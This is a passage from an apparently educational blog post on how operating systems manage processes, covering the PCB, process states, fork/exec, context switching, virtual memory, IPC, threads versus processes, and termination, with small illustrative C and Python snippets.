stack<br>}</pre><h3>Program Counter + Registers</h3><p>The CPU executes instructions tracked by the <strong>program counter (PC)</strong> — referred to as <em>RIP</em> on x86–64. A process also needs its complete set of general-purpose registers:</p><ul><li>x86–64: RAX, RBX, RCX, RDX, RSI, RDI, RSP, RBP, etc.</li><li>ARM: X0–X30, SP, PC.</li></ul><p>The OS saves and restores these registers during a <strong>context switch</strong>.</p><h3>3.2 The Process Control Block (PCB)</h3><p>The <strong>Process Control Block (PCB)</strong> is the internal kernel structure that describes a process. Although its exact implementation varies across OSes, the purpose remains the same: to store all information required to manage scheduling, resources, and execution state.</p><h3>What the PCB Contains</h3><ol><li><strong>Process Identifier (PID)</strong><br> A unique integer used to reference the process.</li><li><strong>Process State</strong><br> Running, Ready, Blocked, Zombie, etc.</li><li><strong>CPU State / Registers</strong><br> Saved during context switching.</li><li><strong>Memory Management Information</strong></li></ol><ul><li>page tables</li><li>base/limit registers</li><li>address space layout</li><li>memory-mapped files</li></ul><p><strong>5. Scheduling Information</strong></p><ul><li>CPU priority</li><li>scheduling class</li><li>accumulated CPU time</li></ul><p><strong>6. File System Information</strong></p><ul><li>file descriptors</li><li>current working directory</li><li>root directory</li></ul><p><strong>7. Signal and Event Handlers</strong></p><p><strong>8. Security Information</strong></p><ul><li>UID/GID</li><li>capabilities (Linux)</li><li>SELinux/AppArmor profiles</li></ul><p>In Linux, the PCB is represented by the kernel structure task_struct. Its size exceeds 8 KB on many systems—far more complex than textbook diagrams.</p><h3>Viewing PCB Information on Linux</h3><p>The /proc filesystem exposes much of the PCB to user space. For example, inspect PID 6700 (currently an instance of Firefox):</p><pre>cat /proc/6700/status</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*lak-MYVtZgStaw245N4t3A.png" /></figure><p>View the memory mappings:</p><pre>cat /proc/1/maps</pre><p>This reveals the address space layout, including stacks, heaps, shared libraries, and VDSO mappings.</p><h3>3.3 How the OS Sets Up the Process Image</h3><p>When you execute a program, multiple layers work together:</p><ol><li><strong>Loader stage</strong></li></ol><ul><li>Loads the ELF/PE executable</li><li>Parses headers</li><li>Maps text/data/bss</li><li>Performs relocations</li><li>Maps shared libraries</li></ul><p><strong>2. OS initialization</strong></p><ul><li>Initializes PCB</li><li>Creates a page table</li><li>Allocates kernel resources</li></ul><p><strong>3. User-space entry</strong></p><ul><li>Sets up initial stack with arguments and environment variables</li><li>Jumps to _start</li><li>Runtime libraries initialize (libc constructors)</li><li>main() is finally invoked</li></ul><h3>3.4 Visual Overview</h3><p>A simplified (but realistic) Linux address space looks like this:</p><pre>+---------------------------+  High addresses<br>|     Kernel space          |  (not directly accessible)<br>+---------------------------+<br>|     Stack (grows down)    |<br>+---------------------------+<br>|     Memory-mapped libs    |<br>|     (including libc)      |<br>+---------------------------+<br>|     Heap (grows up)       |<br>+---------------------------+<br>|     .bss   .data          |<br>+---------------------------+<br>|     .text                 |<br>+---------------------------+  Low addresses</pre><h3>3.5 Summary</h3><p>A running process is a combination of:</p><ul><li><strong>its memory layout</strong></li><li><strong>its active CPU execution state</strong></li><li><strong>its kernel-maintained metadata</strong></li></ul><p>The OS coordinates all of these pieces to ensure isolation, performance, and correct behavior.</p><h3>4. Process States</h3><p>Modern operating systems treat a process as a dynamic entity whose status changes as it executes instructions, waits for events, or interacts with hardware resources. To manage processes efficiently and maximize CPU utilization, the OS classifies every process into a specific <em>state</em>. These states form the foundation of process scheduling, context switching, and lifecycle management. While exact terminology differs between systems (Linux, Windows, and BSD), the conceptual workflow remains consistent across platforms.</p><h3>4.1 The Classic Process State Model</h3><p>A traditional OS textbook describes five fundamental states: <strong>New</strong>, <strong>Ready</strong>, <strong>Running</strong>, <strong>Waiting</strong>, and <strong>Terminated</strong>. These states represent logical phases in a process’s life.</p><h3>New</h3><p>A process begins in the <em>New</em> state when it has been created but not yet admitted to the pool of runnable tasks. For example, on UNIX-like systems, when a program calls fork(), the kernel allocates a Process Control Block (PCB), sets up metadata, assigns a PID, and prepares resources. At this point, the child process exists conceptually, but it has not yet been scheduled to run.</p><h3>Ready</h3><p>A process is placed in the <em>Ready</em> state when it is fully initialized but waiting to be assigned CPU time. Ready processes reside in ready queues, typically managed by the CPU scheduler. In multi-core systems, each CPU can maintain its own ready queue, which enables lower scheduling overhead and improves locality. Importantly, a ready process is not blocked. In other words, it simply awaits CPU availability.</p><h3>Running</h3><p>A process enters the <em>Running</em> state when the scheduler selects it and loads its context onto a CPU. During this state, instructions are executed, registers are updated, and memory is accessed. A running process can only remain in this state until it voluntarily yields the CPU (e.g., by performing I/O), gets preempted (e.g., due to time slice expiration), or terminates.</p><h3>Waiting (Blocked)</h3><p>A process enters the <em>Waiting</em> or <em>Blocked</em> state when it must pause execution until some external event occurs. This might be waiting for disk I/O, network input, a lock, a child process to exit, or a timer to expire. In Linux, this corresponds to states like uninterruptible sleep (D) or interruptible sleep (S). Blocking prevents the CPU from wasting cycles while the process is idle and has nothing productive to do.</p><h3>Terminated</h3><p>A process moves to the <em>Terminated</em> state when it has completed execution or has been explicitly killed. At this stage, the OS cleans up resources, reclaims memory, and notifies the parent process using mechanisms such as SIGCHLD. In UNIX systems, a terminated process whose parent has not yet collected it becomes a <strong>zombie process</strong>, occupying a minimal PCB entry.</p><h3>4.2 State Transitions</h3><p>Transitions between states occur due to system calls, hardware interrupts, or scheduling decisions. Understanding transitions helps developers reason about concurrency, performance bottlenecks, and unexpected blocking behavior.</p><ul><li><strong>New → Ready</strong>: The OS finishes initializing the process.</li><li><strong>Ready → Running</strong>: The scheduler dispatches the process onto a CPU.</li><li><strong>Running → Ready</strong>: Preemption occurs after a time slice expires.</li><li><strong>Running → Waiting</strong>: The process performs an operation requiring I/O or synchronization.</li><li><strong>Waiting → Ready</strong>: The awaited event occurs (e.g., I/O completes).</li><li><strong>Running → Terminated</strong>: The process exits via exit() or is killed.</li></ul><p>This transition cycle represents the heart of multitasking OS design.</p><h3>4.3 Linux Process States in Practice</h3><p>While the five-state model helps conceptual understanding, real UNIX-like systems expose more detailed states. On Linux, the commonly observed ones include:</p><ul><li><strong>R (Running or Runnable)</strong> — Either executing on a CPU or ready to run.</li><li><strong>S (Sleeping)</strong> — Interruptible sleep; waiting for an event such as I/O.</li><li><strong>D (Uninterruptible Sleep)</strong> — Typically waiting on disk I/O; cannot be interrupted by signals.</li><li><strong>T (Stopped)</strong> — Process paused by a signal like SIGSTOP.</li><li><strong>Z (Zombie)</strong> — Process terminated but waiting for parent to collect exit status.</li><li><strong>I (Idle)</strong> — Kernel-internal state, not typically relevant to user processes.</li></ul><p>You can observe these using ps:</p><pre>ps aux | awk &#39;{print $8}&#39; | sort | uniq -c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*y820dr8qsFYOLKyJjT8eUw.png" /></figure><h3>4.4 Example: State Transitions with fork() and exec()</h3><p>The following C snippet illustrates how process creation and execution cause state transitions:</p><pre>#include &lt;unistd.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;sys/wait.h&gt;<br><br>int main() {<br>    pid_t pid = fork();<br><br>    if (pid == 0) {<br>        // Child process<br>        execl(&quot;/bin/sleep&quot;, &quot;sleep&quot;, &quot;3&quot;, NULL);<br>        perror(&quot;execl failed&quot;);<br>    } else {<br>        // Parent process<br>        wait(NULL); // Parent goes into Waiting state<br>        printf(&quot;Child finished\n&quot;);<br>    }<br><br>    return 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*fv0Xm-Ydy6UvLPDVilvvkw.png" /></figure><p><strong>State transitions here:</strong></p><ol><li>Parent in <strong>Running</strong> calls fork().</li><li>Child is created in <strong>New</strong>, then moved to <strong>Ready</strong>.</li><li>Scheduler may immediately switch child to <strong>Running</strong>.</li><li>Child calls exec(), loads new program (/bin/sleep).</li><li>Child enters <strong>Sleeping (S)</strong> because sleep(3) waits on a timer.</li><li>Parent enters <strong>Waiting</strong> because wait() blocks.</li><li>After timer expiration, child returns to <strong>Ready</strong>, then <strong>Running</strong>, then terminates.</li><li>Parent becomes <strong>Running</strong> again once wait() returns.</li></ol><p>This illustrates how ordinary system calls naturally drive state transitions.</p><h3>4.5 Zombie and Orphan Processes</h3><p>A <strong>zombie</strong> is a process that has terminated, but whose parent has not yet retrieved its exit status using wait() or waitpid(). Zombies still appear in process tables with state Z. They do not consume memory but do occupy PID slots.</p><p>An <strong>orphan</strong> process occurs when a parent process terminates before its child process. In Linux, orphans are re-parented to PID 1 (systemd), which eventually reaps them. Understanding these phenomena is essential for debugging process leaks in long-running services.</p><h3>4.6 Suspended and Stopped Processes</h3><p>Some texts distinguish between <em>waiting</em> and <em>suspended</em> states. In UNIX environments, a process may be suspended due to explicit user actions:</p><ul><li>Pressing <strong>Ctrl+Z</strong> sends SIGTSTP, placing the process in the <em>Stopped</em> (T) state.</li><li>Later, sending fg or SIGCONT resumes it, moving it back to <em>Running</em> or <em>Ready</em>.</li></ul><p>This mechanism is fundamental to job control in shell environments.</p><h3>4.7 Visualizing the State Machine</h3><p>Here’s a simple diagram of the common state transitions:</p><pre>          +-------+<br>          |  New  |<br>          +---+---+<br>              |<br>              v<br>          +---+---+<br>          | Ready |<br>          +---+---+<br>           ^     |<br>    Time slice   |  Dispatch<br>    expires      v<br>          +---+---+<br>          |Running|<br>          +---+---+<br>           |     |<br>   I/O req|     | Exit<br>           v     v<br>        +--+-----+--+<br>        | Waiting   |<br>        +-----------+</pre><h3>5. Process Creation</h3><p>Process creation is one of the most critical functions of an operating system. It is the mechanism by which a static program on disk becomes a living, executing entity. While the details vary across operating systems, many concepts are common: a parent process requests the OS to create a child process, the OS allocates resources, the new process starts execution, and finally, both processes continue independently. In Unix-like systems, process creation follows the <strong>fork–exec</strong> model, whereas Windows uses a more monolithic CreateProcess() system call. This section examines both approaches and explains what happens behind the scenes.</p><h3>5.1 Direct System Calls in Unix-like Systems</h3><h3>The fork() System Call</h3><p>In Unix-based operating systems, every process (except the first one, init or systemd) is created using the fork() system call. When a process invokes fork(), the kernel creates a <strong>new process</strong> that is an almost exact copy of the calling process. This new process is called the <em>child process</em>, while the original becomes the <em>parent process</em>.</p><p>The key mechanism here is <strong>copy-on-write (COW)</strong>. Historically, fork() would copy the entire address space, but modern kernels avoid this expensive operation. Instead, the parent and child share physical pages marked as read-only. Only when one of them writes to a page does the kernel create a private copy.</p><h3>The exec() Family</h3><p>Although fork() duplicates a process, it doesn’t change the program being executed. To run a different program, the child calls one of the exec() family functions, such as execl(), execvp(), or execve().</p><p>exec() <strong>replaces the current process image</strong> with a new program. Importantly, the PID remains the same, but all code, data, and stack are replaced.</p><h3>Waiting for Child Processes</h3><p>When a child process terminates, it becomes a <strong>zombie</strong> until its parent calls wait() or waitpid() to read its exit status. Zombie processes do not consume CPU or memory, but they do occupy PIDs. Too many zombies can exhaust PID space.</p><pre>#include &lt;sys/wait.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;stdio.h&gt;<br><br>int main() {<br>    pid_t pid = fork();<br><br>    if (pid == 0) {<br>        return 42;   // exit code<br>    }<br><br>    int status;<br>    waitpid(pid, &amp;status, 0);<br>    printf(&quot;Child exited with status %d\n&quot;, WEXITSTATUS(status));<br><br>    return 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*j2GSHKdf2hY0_sc39v43NA.png" /></figure><h3>5.2 The Process Life Cycle in Detail</h3><p>When a process is created, the operating system performs a long series of tasks behind the scenes. These include:</p><ol><li><strong>Allocating a PCB (Process Control Block)</strong><br> This stores metadata such as PID, scheduling info, file descriptors, and memory mappings.</li><li><strong>Duplicating the address space (virtual memory)</strong><br> Using <strong>copy-on-write</strong>, the kernel marks parent pages read-only and shares them.</li><li><strong>Creating entries in the scheduler’s ready queue</strong><br> The child is now eligible to run.</li><li><strong>Copying or inheriting file descriptors</strong><br> File descriptors are duplicated, pointing to the same kernel objects.</li><li><strong>Executing new code if </strong><strong>exec() is called</strong><br> The kernel loads an ELF or PE executable, performs relocations, sets up the heap and stack, and jumps to the entry point.</li><li><strong>Starting independent execution</strong><br> Parent and child then run concurrently, scheduled by the OS.</li></ol><p>By separating fork() and exec(), Unix systems allow powerful patterns like redirection, pipelines, and supervising child processes.</p><h3>6. Context Switching</h3><p>Context switching is one of the most fundamental mechanisms inside an operating system’s kernel. It enables multiple processes (and threads) to share a CPU even when there is only one physical core available. Fundamentally, a context switch is the act of <strong>saving the state of one process</strong> and <strong>restoring the state of another. </strong>However, underneath this simple definition lies a complex sequence of low-level operations involving CPU registers, memory mappings, kernel scheduling structures, and hardware interactions.</p><h3>6.1 What Is a Context Switch?</h3><p>When a CPU executes a process, it maintains the process’s current state in internal hardware registers, such as the instruction pointer (RIP on x86–64), general-purpose registers (RAX, RBX, RCX…), the stack pointer, flags register, and segment selectors. A running process also relies on its memory mappings, kernel-managed metadata, and scheduling information. All of this combined is referred to as <strong>the context</strong> of the process.</p><p>A context switch occurs whenever the scheduler decides to stop running one process and start running another. This can happen due to a voluntary event, such as I/O blocking, or an involuntary event, such as a preemption caused by a timer interrupt. Since modern operating systems support multitasking, the kernel must save the state of the current process into its <strong>PCB</strong> and restore the state of the next process from its PCB.</p><p>This switching is entirely transparent to user-space programs, and they behave as if they own the CPU.</p><h3>6.2 How Does a Context Switch Work? (Step-by-Step)</h3><p>A typical <strong>involuntary</strong> context switch on Linux occurs when a hardware timer interrupt fires. The CPU jumps from user mode into kernel mode via an interrupt handler. At that moment, the processor automatically saves part of the user-space context (such as the instruction pointer and flags) onto the kernel stack. The kernel then saves additional registers to ensure that the exact execution state can be restored later.</p><p>Once inside the scheduler, Linux examines the ready queues to select the next runnable process based on scheduling policies, such as the Completely Fair Scheduler (CFS). When a new process is chosen, its context, which was previously saved in its PCB, is loaded into the CPU registers. Finally, the kernel uses a return-from-interrupt instruction (such as iretq on x86-64) to switch back to user mode, restoring the new process’s state and resuming execution exactly where it left off.</p><p>Although this sequence appears straightforward, it involves manipulation of stack frames, trap handlers, memory mappings, and internal scheduling data structures.</p><h3>6.3 Kernel Code Example: Low-Level Context Switch</h3><p>The Linux kernel exposes the switching mechanism through the switch_to() macro, defined in architecture-specific code. Although it is written in assembly, it provides a clear view of what state is saved during a context switch. The simplified x86-64 version looks like this:</p><pre>/* arch/x86/include/asm/switch_to.h (simplified) */<br>#define switch_to(prev, next, last) \<br>    asm volatile( \<br>        &quot;pushfq\n\t&quot;           /* Save flags */ \<br>        &quot;pushq %%rbp\n\t&quot;      /* Save base pointer */ \<br>        &quot;movq %%rsp, %0\n\t&quot;   /* Save stack pointer of prev */ \<br>        &quot;movq %1, %%rsp\n\t&quot;   /* Load stack pointer of next */ \<br>        &quot;popq %%rbp\n\t&quot;       /* Restore new base pointer */ \<br>        &quot;popfq\n\t&quot;            /* Restore new flags */ \<br>        : &quot;=m&quot; (prev-&gt;sp) \<br>        : &quot;m&quot; (next-&gt;sp), &quot;S&quot; (prev), &quot;D&quot; (next) \<br>        : &quot;memory&quot; )</pre><p>This snippet demonstrates how the OS saves general-purpose registers and replaces the stack pointer. It is the hardware-level manifestation of the abstract concept of “switching processes.”</p><h3>6.4 User-Space Demo: Context Switching Triggered by Blocking I/O</h3><p>In the user space, you can force a context switch to occur by performing an operation that blocks. Consider this simple C program:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;unistd.h&gt;<br><br>int main() {<br>    printf(&quot;Process %d starting...\n&quot;, getpid());<br>    <br>    for (int i = 0; i &lt; 5; i++) {<br>        printf(&quot;Iteration %d\n&quot;, i);<br>        sleep(1);  // Voluntary context switch<br>    }<br>    return 0;<br>}</pre><p>When sleep() is called, the process transitions to a <strong>waiting</strong> state, and the scheduler immediately picks another runnable process. This is a <em>cooperative</em> form of context switching where the process voluntarily yields the CPU.</p><h3>6.6 Kernel Mode vs. User Mode Transitions</h3><p>A context switch differs from a user-to-kernel mode transition (such as a system call or interrupt). Mode switches occur frequently and do not always involve switching processes. For example, a system call enters the kernel, executes, and returns to the <strong>same</strong> process. This is not a context switch.</p><p>An actual context switch only occurs when the kernel schedules a <em>different</em> process or thread.</p><p>However, every involuntary context switch must first begin with a transition to kernel mode, because user-mode code cannot modify privileged CPU structures or scheduling metadata.</p><h3>7. Memory Management for Processes</h3><p>Memory management is one of the most essential responsibilities of an operating system. Every process expects the illusion of having its own private and continuous memory region, even though it shares physical RAM with many other processes. The OS enforces this illusion through <strong>virtual memory</strong>, <strong>page tables</strong>, <strong>memory mappings</strong>, and <strong>protection mechanisms</strong>.</p><h3>7.1 Virtual Memory</h3><p>Virtual memory allows each process to operate within its own isolated address space. Instead of directly accessing physical RAM, a process issues loads and stores to <strong>virtual addresses</strong>, which the CPU translates using page tables maintained by the kernel.</p><p>This mechanism provides three main benefits:</p><ol><li><strong>Isolation</strong>: A process cannot read or write another process’s memory.</li><li><strong>Convenience</strong>: Each process has a clean, contiguous memory layout starting near address 0x00000000 (on 32-bit systems) or 0x0000000000000000 (on 64-bit systems).</li><li><strong>Flexibility</strong>: Regions can be swapped to disk, shared between processes, or lazily loaded.</li></ol><p>Virtual memory is implemented using fixed-size chunks called <strong>pages</strong> (usually 4 KB on x86/x86–64). The operating system maps each virtual page to either a physical page in RAM or to a location in the swap disk.</p><p>Below is a conceptual representation of how a process thinks about memory versus how it actually works:</p><pre>Process View (Virtual Addresses)<br>--------------------------------<br>0x00000000  ────── Code (.text)<br>0x00400000  ────── Data (.data, .bss)<br>0x00600000  ────── Heap (grows upward)<br>0x7fff0000  ────── Stack (grows downward)<br>0xffff8000  ────── Kernel space (invisible to user mode)<br><br>Actual Physical Memory<br>--------------------------------<br>Physical Frame #1234  ← Virtual page mapped<br>Physical Frame #9876  ← Virtual page mapped<br>Physical Frame #4467  ← Swapped-out page</pre><h3>7.2 Process Memory Layout</h3><p>Although the exact layout differs by OS and architecture, most UNIX-like systems follow a similar structure. Here is the typical memory layout:</p><pre>+-------------------------------+  High addresses<br>|          Stack                |<br>|       (function calls,        |<br>|     local variables, RA)      |<br>+-------------------------------+<br>|         Memory-mapped         |<br>|           regions             |<br>|  (shared libraries, files,    |<br>|         anonymous maps)       |<br>+-------------------------------+<br>|            Heap               |<br>|         malloc(), new         |<br>+-------------------------------+<br>|  Global &amp; static variables    |<br>|     (.data and .bss)          |<br>+-------------------------------+<br>|           Code                |<br>|         (.text)               |<br>+-------------------------------+  Low addresses</pre><h3>7.3 Page Tables and Address Translation</h3><p>The CPU translates every virtual address through a hierarchy of <strong>page tables</strong>. On x86–64, translation typically involves four levels:</p><pre>VA → PML4 → PDPT → PD → PT → Physical Page</pre><p>Each level narrows down the mapping until a final <strong>Page Table Entry (PTE)</strong> is reached. A PTE also stores permission bits:</p><ul><li>R/W: writable or read-only</li><li>U/S: user vs. kernel</li><li>NX: non-executable bit</li><li>Present: whether the page is in memory</li><li>Dirty: whether the page has been modified</li><li>Accessed: used for paging algorithms</li></ul><h3>7.4 Kernel vs. User Address Space</h3><p>Most modern OSes split the address space into:</p><ul><li><strong>User Space</strong><br> Accessible by the process. Contains code, data, heap, and stack.</li><li><strong>Kernel Space</strong><br> Mapped into every process but accessible only in kernel mode.</li></ul><p>On Linux x86–64, the upper half (above 0xffff800000000000) is kernel-only. User processes never execute in this region without causing a page fault.</p><p>This separation allows the kernel to remain protected from user applications.</p><h3>7.5 Copy-on-Write (COW)</h3><p>When a process forks, duplicating the entire address space would be expensive. Instead, Linux marks pages as <strong>read-only</strong> and lets the parent and child share the same copies. If either process writes to one of these pages, the OS creates a private copy.</p><p>This is called <strong>Copy-on-Write (COW)</strong>.</p><p>Example C program showing fork behavior:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;unistd.h&gt;<br><br>int main() {<br>    int x = 10;<br><br>    pid_t pid = fork();<br>    if (pid == 0) {      // Child<br>        x = 20;          // Child writes → triggers COW<br>        printf(&quot;Child x = %d\n&quot;, x);<br>    } else {<br>        printf(&quot;Parent x = %d\n&quot;, x);<br>    }<br><br>    return 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*hI6XsyRMFW6TvOPP_WB7uw.png" /></figure><p>Although the parent and child initially share a memory, modifying the variable forces a copy for the child.</p><h3>8. Interprocess Communication (IPC)</h3><p>Interprocess Communication (IPC) is a fundamental part of modern operating systems, enabling separate processes to exchange data, synchronize actions, and coordinate on shared tasks. Since processes run in isolated address spaces for safety and robustness, the operating system must provide controlled mechanisms for communication. IPC mechanisms differ significantly in terms of performance, complexity, and semantics, and the right choice depends on the problem domain, including high-throughput data exchange, producer–consumer pipelines, synchronization, or distributed communication.</p><p>IPC is vital in modern software architectures, including microservices, browser sandboxes, multi-process servers, and OS-level containers. In this section, we examine the primary IPC mechanisms available in Unix-like systems, with references to their Windows counterparts where applicable.</p><h3>8.1 Shared Memory</h3><p>Shared memory enables multiple processes to access a common region of memory that is mapped into their virtual address spaces. Among all IPC methods, shared memory is the fastest because it involves no kernel interaction during actual communication. After setup, processes read and write directly to the same memory pages.</p><p>There are two major shared memory APIs in Unix-like systems: <strong>System V shared memory</strong> and <strong>POSIX shared memory</strong>. POSIX is simpler and more commonly used in modern codebases.</p><h3>Example: POSIX Shared Memory</h3><p>Creating and using a shared memory region typically involves:</p><ol><li>Creating or opening a shared memory object via shm_open()</li><li>Setting its size with ftruncate()</li><li>Mapping it into memory with mmap()</li><li>Optionally synchronizing access via semaphores or mutexes.</li></ol><h3>8.2 Signals</h3><p>Signals provide asynchronous notification to processes. They are not intended for bulk data transfer; instead, they notify processes about events such as invalid memory access, termination requests, or changes in child process status.</p><p>Common signals include:</p><ul><li>SIGKILL — immediately terminates a process (cannot be caught)</li><li>SIGTERM — polite request to terminate</li><li>SIGSEGV — invalid memory access</li><li>SIGINT — interrupt from keyboard (Ctrl+C)</li><li>SIGCHLD — child terminated or stopped</li></ul><h3>Signal Handler Example</h3><pre>#include &lt;signal.h&gt;<br>#include &lt;stdio.h&gt;<br><br>void handler(int sig) {<br>    printf(&quot;Received signal %d\n&quot;, sig);<br>}<br><br>int main() {<br>    signal(SIGINT, handler);<br>    while (1); // wait for signal<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*iWnwsTKJGP0Z4oJ9B6Fcjw.png" /></figure><h3>9. Multithreading and Multi-processing</h3><p>Understanding the distinction between multithreading and multiprocessing is essential. Although both approaches enable concurrency, they differ significantly in memory isolation, performance characteristics, failure modes, and debugging complexity. In modern operating systems, threads and processes complement each other, and the choice between them depends on the workload, security requirements, and scalability expectations.</p><h3>9.1 Why Use Multiple Threads?</h3><p>Threads exist to enable concurrency within a <strong>single process</strong>, allowing multiple execution flows to operate on shared memory. The shared address space eliminates the overhead of IPC since threads naturally read and write the same variables, thereby reducing the need for explicit communication. This makes threading attractive for workloads like GUI event loops, I/O multiplexing, and tasks that share a large amount of common data.</p><p>Threads are often used for parallelism on multi-core systems. A process with four threads can, in principle, utilize four CPU cores simultaneously. This is especially beneficial for compute-intensive tasks, such as numerical simulations, encoding/decoding, or cryptographic operations, given the programming language and runtime support accurate CPU-bound parallel execution.</p><p>However, sharing memory introduces <strong>race conditions</strong>, <strong>deadlocks</strong>, and <strong>data corruption</strong> risks if proper synchronization is not applied. To illustrate, the following C code demonstrates a data race where multiple threads write to a global variable without locking:</p><pre>#include &lt;pthread.h&gt;<br>#include &lt;stdio.h&gt;<br><br>int counter = 0;<br><br>void* increment(void* arg) {<br>    for (int i = 0; i &lt; 1000000; i++) {<br>        counter++;  // Data race!<br>    }<br>    return NULL;<br>}<br><br>int main() {<br>    pthread_t t1, t2;<br><br>    pthread_create(&amp;t1, NULL, increment, NULL);<br>    pthread_create(&amp;t2, NULL, increment, NULL);<br><br>    pthread_join(t1, NULL);<br>    pthread_join(t2, NULL);<br><br>    printf(&quot;Counter: %d\n&quot;, counter);<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*l-e0yFSis4j9jPwLrZZ4sQ.png" /></figure><p>On most runs, the output will be significantly below the expected <strong>2,000,000</strong>, illustrating how unsynchronized shared memory can lead to lost updates.</p><p>To fix this, a mutex is required:</p><pre>pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;<br><br>void* increment(void* arg) {<br>    for (int i = 0; i &lt; 1000000; i++) {<br>        pthread_mutex_lock(&amp;lock);<br>        counter++;<br>        pthread_mutex_unlock(&amp;lock);<br>    }<br>    return NULL;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*G0WUl6iQg7rgAXsYa2WpSA.png" /></figure><h3>9.2 Why Use Multiple Processes?</h3><p>Multiple processes provide <strong>true isolation</strong> because each process owns a separate virtual address space. One process cannot directly corrupt the memory of another, making multi-processing inherently more robust and secure. If one process crashes, the remaining processes continue unaffected. This isolation model is crucial for web servers, browser architectures (e.g., Chrome), and containerized microservices.</p><p>Unlike threads, processes communicate via IPC mechanisms, such as pipes, message queues, sockets, or shared memory regions that are explicitly mapped into each process. This communication overhead results in slower data exchange<strong>; </strong>however<strong>, </strong>the trade-off is improved<strong> fault tolerance </strong>and <strong>enhanced security boundaries</strong>. Multi-processing is especially useful for workloads where tasks operate independently or where isolation is more beneficial than raw speed.</p><p>In Python, multi-processing is often preferred over multithreading due to the <strong>Global Interpreter Lock (GIL)</strong>, which limits true CPU parallelism in multi-threaded Python programs. The multiprocessing module enables creating multiple independent Python interpreters that avoid the GIL limitation:</p><pre>from multiprocessing import Process, Value<br><br>def increment(counter):<br>    for _ in range(1000000):<br>        with counter.get_lock():<br>            counter.value += 1<br><br>if __name__ == &quot;__main__&quot;:<br>    counter = Value(&#39;i&#39;, 0)<br>    p1 = Process(target=increment, args=(counter,))<br>    p2 = Process(target=increment, args=(counter,))<br><br>    p1.start()<br>    p2.start()<br>    p1.join()<br>    p2.join()<br><br>    print(&quot;Counter:&quot;, counter.value)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*KQhEIBzcbisChqg-zQ3fcw.png" /></figure><p>Here, the shared Value object uses OS-managed memory with synchronization primitives to prevent race conditions.</p><p>Multi-processing also isolates crashing code, a behavior exploited in sandboxing, privilege separation, and container runtimes. For example, a browser might put each tab in a separate process so that a JavaScript engine crash or memory error affects only that tab, not the entire application.</p><h3>9.3 Key Differences Between Multithreading and Multiprocessing</h3><p>Even though both techniques introduce concurrency, they differ fundamentally in their design implications:</p><h3>Memory Model</h3><ul><li><strong>Threads:</strong> Shared memory, fast communication, high risk of races.</li><li><strong>Processes:</strong> Isolated memory, require IPC, safer by design.</li></ul><h3>Performance</h3><ul><li><strong>Threads:</strong> Lower overhead, faster context switches, ideal for fine-grained parallelism.</li><li><strong>Processes:</strong> More overhead but excellent for coarse-grained or isolated workloads.</li></ul><h3>Stability</h3><ul><li><strong>Threads:</strong> A crash in one thread causes the entire process to crash.</li><li><strong>Processes:</strong> Failure is contained; supervisor processes can restart workers.</li></ul><h3>Security</h3><ul><li><strong>Threads:</strong> Harder to enforce per-thread permissions; a single compromised thread compromises the whole process.</li><li><strong>Processes:</strong> Can run with different privileges, sandboxed, and isolated.</li></ul><h3>Debugging Complexity</h3><ul><li><strong>Threads:</strong> Hard due to shared state and race conditions.</li><li><strong>Processes:</strong> Easier, especially when debugging concurrency issues.</li></ul><h3>10. Process Termination</h3><p>Process termination marks the end of a process’s lifecycle and represents the point at which the operating system safely reclaims the resources allocated to the process. Termination can happen voluntarily when a program finishes executing its logic, or involuntarily when an error, exception, or external event forces the OS to stop execution.</p><h3>10.1 Reasons for Process Termination</h3><p>A process can terminate for a variety of reasons:</p><h3>Normal Completion</h3><p>Most processes end because they finish their assigned task and return from main() with an exit status. This is known as <em>normal termination</em>.</p><pre>int main() {<br>    // do work<br>    return 0;  // Normal termination<br>}</pre><h3>Error or Exception</h3><p>Processes may also terminate due to runtime errors such as segmentation faults, illegal instructions, or arithmetic exceptions. For example, dereferencing a null pointer will result in a SIGSEGV.</p><pre>int *p = NULL;<br>*p = 42; // segmentation fault -&gt; abnormal termination</pre><h3>External Termination</h3><p>A process can be terminated by another process, usually via the kill() system call on Unix-like systems.</p><pre>kill -9 &lt;pid&gt;</pre><p>Administrators, supervisors (like systemd), and other programs often terminate processes when they misbehave or exceed resource limits.</p><h3>User-Initiated Termination</h3><p>Interactive programs can terminate upon user request (e.g., pressing Ctrl+C triggers a SIGINT).</p><h3>11.2 Exit Codes and Their Role</h3><p>When a process terminates, it returns an <em>exit status</em> to its parent. Exit codes are integer values, traditionally 0 for success and non-zero for errors. In Unix-like systems, the exit status is an 8-bit value (0–255).</p><p>Returning from main() or calling exit() sends the exit code to the OS.</p><pre>int main() {<br>    if (something_failed)<br>        return 1;   // Non-zero indicates error<br>    return 0;<br>}</pre><p>In shell scripts, $? captures the exit status of the last command:</p><pre>./myprogram<br>echo $?   # prints exit code</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*heQ8zzxN3qSeWQJCqLIvfg.png" /></figure><p>Exit codes are vital for scripting, automation, supervisors, CI/CD systems, and orchestration tools.</p><h3>11.3 What the OS Does During Termination</h3><p>When a process terminates, the OS performs several cleanup operations:</p><ol><li><strong>Closes all open file descriptors.</strong></li><li><strong>Releases memory</strong> (heap, stack, page tables).</li><li><strong>Destroys kernel structures</strong> such as the PCB.</li><li><strong>Sends a SIGCHLD signal to the parent</strong>, notifying it of the child’s termination.</li><li><strong>Stores the exit status</strong> so the parent can retrieve it via wait() or waitpid().</li></ol><p>Termination is not instantaneous; the OS keeps some minimal information until the parent acknowledges it.</p><p>Thanks for reading,</p><p>Can</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fec4e9f06a6d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
